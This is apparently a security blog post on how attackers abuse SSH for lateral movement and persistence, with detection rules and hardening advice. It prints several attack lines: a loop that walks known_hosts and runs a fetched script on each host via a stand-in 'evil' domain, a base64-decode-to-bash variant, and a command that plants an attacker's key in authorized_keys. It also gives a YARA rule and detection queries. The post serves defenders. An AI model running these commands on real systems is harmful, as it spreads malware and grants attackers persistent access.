Lateral movement is a nearly ubiquitous attack tactic, as adversaries hardly ever gain initial access to the exact system that holds their objective. We’ve written a ton about this topic over the years, covering PsExec and other tools that enable adversaries to move laterally between systems. Scores of other blogs discuss Server Message Block (SMB) and Remote Desktop Protocol (RDP) lateral movement at great length. This time, I want to discuss a lesser publicized lateral movement technique: malicious use of Secure Shell (SSH) services.
What is SSH?
SSH is an encrypted network protocol that facilitates remote management of systems that are usually Unix-like. It’s best known for its association with the OpenSSH project and the ssh
command that administrators use for text-based administration similar to Telnet. The OpenSSH project also contains scp
(Secure Copy) to replace an older unencrypted copy utility and sftp
to replace older unencrypted uses of ftp
.
SSH is versatile as a network protocol and can encapsulate other protocols to help secure them with encryption. It’s a de facto standard of modern administration of Unix-like systems.
SSH in everyday administration
When using SSH, administrators usually start out using the ssh
command with a username and password combination. The usernames and passwords are the same ones used for logging on to a system at the keyboard, and it quickly becomes problematic when the SSH daemon’s port (22) is exposed on a network. Especially on the internet, attackers attempt to brute force access to systems via SSH. If administrators have chosen a non-complex password for well-known user accounts, brute-force attacks will likely succeed.
To mitigate this, SSH sessions are often authenticated using public key cryptography. To do this, administrators may use ssh-keygen
to generate a key-pair before using ssh-copy-id
to deploy the generated public key as appropriate to the authorized_keys
file of a remote system’s user. After changing a few lines in the SSH daemon configuration file, the service is hardened to prevent simple brute-force intrusion. That said, if an adversary gains access to the private key associated with this key-based authentication relationship, they can authenticate to a system via SSH without knowing any additional passwords.
Once an administrator begins a SSH session to a remote system for the first time, they’ll notice that an entry is added to the known_hosts
file of the current user. This file captures IP address and host public key information to ensure authentication happens properly at the system level before a user logs on via SSH. If another IP address shows up with the public key of a known host, the user logging on is alerted.
There are loads of additional complications to SSH administration, but these few concepts lay the groundwork for understanding how adversaries abuse the protocol.
Malicious uses of SSH
Now that we have a good understanding of SSH basics, we can look at how adversaries abuse SSH.
SSH tunneling
SSH tunneling is the act of encapsulating another networking protocol within SSH to protect it from inspection. FireEye published awesome documentation about adversaries using tunneling earlier this year, focusing on tunneling RDP traffic over SSH.
In these cases, adversaries usually use tools such as plink.exe
to forward RDP traffic over SSH with a command line containing 127.0.0.1:3389
. You can spot this quickly in the command line arguments and flag it if it’s not normal in your environment. This helps adversaries bypass firewalls restricting port 3389 and prevent traffic inspection while being able to use RDP. This can also work with numerous additional protocols. In at least one environment, we’ve seen administrators send MySQL network traffic over SSH to encrypt it.
Cryptocurrency miner scripts
Next, let’s look at opportunistic cryptocurrency miner scripts that adversaries deploy to Linux servers. Once exploiting a service and deploying a miner, adversaries want to perform lateral movement to other Linux systems on the same network to deploy more instances of malware. This is done in a few steps. First, an adversary will enumerate the contents of the SSH known_hosts
file to find other Linux hosts that may be available. If any are found, the adversary will check that key-based authentication is in place and use SSH to send the desired commands to remote systems. This sort of lateral movement usually looks something like this:
if [ -f ~.ssh//known_hosts ] && [ -f ~/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" ~/.ssh/known_hosts);
do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'hxxp://evil[.]co/evilScript | sh' & done
fi
In endpoint detection and response (EDR) data, this results in a process document with this command line:
ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no root@10.10.10.10 'hxxp://evil[.]co/evilScript | sh
SSH with these command line options does not commonly occur in enterprises. In fact, a YARA rule similar to the one below reliably finds malicious scripts (and sometimes SSH binaries) in VT LiveHunts:
rule ssh_lateral_movement {
meta:
description = "Rule to detect SSH lateral movement shell scripts"
author = "Tony Lambert"
date = "2020-02-18"
license = "MIT"
strings:
$known_hosts = "known_hosts"
$ssh_command = "ssh"
$batch = "oBatchMode"
$strict = "oStrictHostKeyChecking"
condition:
all of them
}
In the example above, we saw an adversary use ssh
to issue a curl | sh
command. This is a quick and simple way to download and execute content on a remote system. An excellent detection rule for this is:
Process is `ssh` AND command line includes `curl` OR `wget`
Base64 encoding
As reported by Microsoft, some adversaries use Base64 encoding to evade this form of detection. In these cases, we’ll see a command like this:
ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no root@10.10.10.10 'echo ZXhlYyAuZQo= | base64 -d | bash
With this execution, an adversary echoes Base64 code, decodes it on the fly, and pipes the results into bash
. This effectively prevents command-line monitoring from seeing exactly what commands would execute on the victim system without some additional work. The good news is that this kind of command is also rare in most enterprises.
To find this activity, you can look for:
Process is ‘ssh’ AND command line includes `base64 -d` OR `base64 --decode` AND `|` (Pipe character)
The use of SSH to issue lateral movement commands can be incredibly easy to spot if you have the right tools in place and know which parts of the command line are unusual.
Authorized keys
Alongside lateral movement, I wanted to cover a way adversaries may establish persistence with SSH. Earlier we covered how administrators may add SSH public keys to an authorized_keys
file to allow authentication without a password. Adversaries commonly take advantage of this as well, using commands like:
echo “ssh-rsa <public key> > ~/.ssh/authorized_keys
Some adversaries may overwrite the authorized_keys
file, disallowing key-based authentication from legitimate admins. Others may simply append their key to the file for persistent access.
Conclusion
Nearly every enterprise will encounter SSH at some point, and there are some excellent ways to curb its potential for evil:
- First, we recommend using multi-factor authentication (MFA) with SSH where possible. This absolutely stops lateral movement in its tracks.
- Next, consider looking into the
HashKnownHosts
OpenSSH configuration option. This will obscure the contents of aknown_hosts
file and prevent adversaries from parsing it as easily as shown earlier in the post. - Finally, consider banning passwordless SSH configurations in your enterprise.
One major benefit of key-based authentication is the lack of mandatory passwords, but its ease of exploitation is problematic. You can combine the best of both worlds—key-based and password-based—by setting a passphrase for any SSH key pairs you generate. This will prevent adversaries from moving laterally without knowing an additional data point.
For more on using SSH, I recommend this article.